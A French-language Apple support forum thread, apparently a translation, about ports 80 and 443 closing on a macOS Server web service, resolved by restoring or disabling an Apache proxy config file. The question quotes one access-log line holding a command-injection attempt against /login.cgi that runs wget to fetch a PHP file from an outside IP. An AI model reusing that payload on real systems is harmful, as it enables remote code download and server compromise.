2 votes

les ports 80 et 443 sont soudainement fermés sur le serveur MacOS

histoire courte

Les ports 80 et 443 semblent être fermés sur mon serveur MacOS (vérifié avec l'utilitaire de réseau) - je ne peux accéder à aucun site web à partir du réseau local et d'Internet.

J'ai redémarré le service des sites Web et redémarré le serveur plusieurs fois.

Comment rouvrir les ports 80 et 443 ?


longue histoire

J'ai deux sites web hébergés sur mon serveur MacOS avec le service Sites web.

Il fonctionnait bien jusqu'à il y a deux jours.

Hier, je me suis rendu compte que je ne pouvais accéder à aucun des sites web du serveur, ni via le réseau local, ni depuis l'internet. Après enquête, je me suis rendu compte que les ports 80 et 443 ne sont pas ouverts sur la machine du serveur.

J'ai redémarré le serveur plusieurs fois, désactivé et réactivé le service Websites, sans changement.

Je ne vois rien de trop grave dans les journaux, à part une requête bizarre qui semble être le dernier accès au serveur web depuis le monde "extérieur" et qui se lit comme suit :

default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

J'utilise l'ancienne version de Server app - 5.6.3 sur MacOS 10.13.6.

Je n'ai pas installé/mis à jour ni modifié quoi que ce soit sur le serveur ou sur mon réseau local au cours des derniers jours.

mise à jour

J'ai remarqué que j'ai beaucoup d'entrées dans le journal système du serveur :

... com.apple.xpc.launchd[1] (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1
... com.apple.xpc.launchd[1] (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.

indépendamment du fait que le service des sites web fonctionne ou non

0 votes

Pouvez-vous vous connecter aux ports en utilisant Safari en local ? Si ce n'est pas le cas, vous devez vous concentrer sur les points suivants lsof et quel processus ouvre ces ports. Si c'est le cas, il s'agit d'un pare-feu ou d'un réseau. Une fois que l'on sait clairement lequel de ces trois éléments est à l'origine du problème, les solutions devraient être plus faciles à proposer.

0 votes

J'ai eu des problèmes similaires une fois. Pour autant que je m'en souvienne, la seule solution était de désactiver complètement le serveur web dans l'application serveur, de redémarrer, puis de le configurer à nouveau site par site.

1voto

Maciek Rek Points 213

Il s'est avéré que le /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf a été corrompu.

Heureusement, il y avait un fichier de sauvegarde dans le même répertoire. /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf.previous et un simple échange a résolu le problème ! (n'oubliez pas de redémarrer le service Websites)

Je ne suis pas sûr que ce soit pertinent, mais ça pourrait l'être : A partir du rapport Etrecheck, j'ai remarqué qu'il y avait une mise à jour de MacOS à peu près au moment où le problème s'est produit : 2019-02-19 Mise à jour de sécurité 2019-001 (10.13.6)


Fil de discussion des Communautés de support Apple qui a permis de localiser le problème : https://discussions.apple.com/thread/250188369


EDIT

Le problème est revenu aujourd'hui (après 10 jours).

L'astuce décrite ci-dessus n'a pas fonctionné.

(Cela pourrait avoir un rapport avec le renouvellement du certificat SSL cette fois-ci).


EDIT 2

Cette fois, j'ai réussi à réparer le service Website (et à ouvrir les ports 80 et 443) en commentant la dernière ligne du fichier de configuration suivant : /Library/Server/Web/Config/Proxy/apache_serviceproxy.conf

#IncludeOptional /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites*.conf`

Pas sûr que cela dure longtemps cette fois-ci ;-)

EDIT 3

Je n'ai toujours pas la moindre idée de ce qui se passait. Récemment, j'ai eu besoin de réactiver le cutomsites afin de parquer quelques nouveaux domaines. Le serveur fonctionne toujours bien... jusqu'à présent.

LesApples.com

LesApples est une communauté de Apple où vous pouvez résoudre vos problèmes et vos doutes. Vous pouvez consulter les questions des autres utilisateurs d'appareils Apple, poser vos propres questions ou résoudre celles des autres.

Powered by:

X